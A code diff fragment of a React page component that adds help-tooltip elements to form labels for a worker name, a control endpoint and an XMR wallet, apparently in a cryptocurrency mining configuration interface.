<label className="label" htmlFor="md-worker">Worker name</label>
|
||||
<label className="label" htmlFor="md-worker">
|
||||
Worker name <HelpTip field="worker_name" />
|
||||
</label>
|
||||
<input
|
||||
id="md-worker"
|
||||
type="text"
|
||||
@@ -569,7 +578,9 @@ export default function MissionDeckPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="md-endpoint">Control endpoint</label>
|
||||
<label className="label" htmlFor="md-endpoint">
|
||||
Control endpoint <HelpTip field="server_url" />
|
||||
</label>
|
||||
<input
|
||||
id="md-endpoint"
|
||||
type="url"
|
||||
@@ -594,7 +605,9 @@ export default function MissionDeckPage() {
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: 0 }}>
|
||||
<label className="label" htmlFor="md-wallet">XMR wallet</label>
|
||||
<label className="label" htmlFor="md-wallet">
|
||||
XMR wallet <HelpTip field="wallet" />
|
||||
</label>
|
||||
<input
|
||||
id="md-wallet"
|
||||
type="text"
|
||||
|
||||
Reference in New Issue
Block a user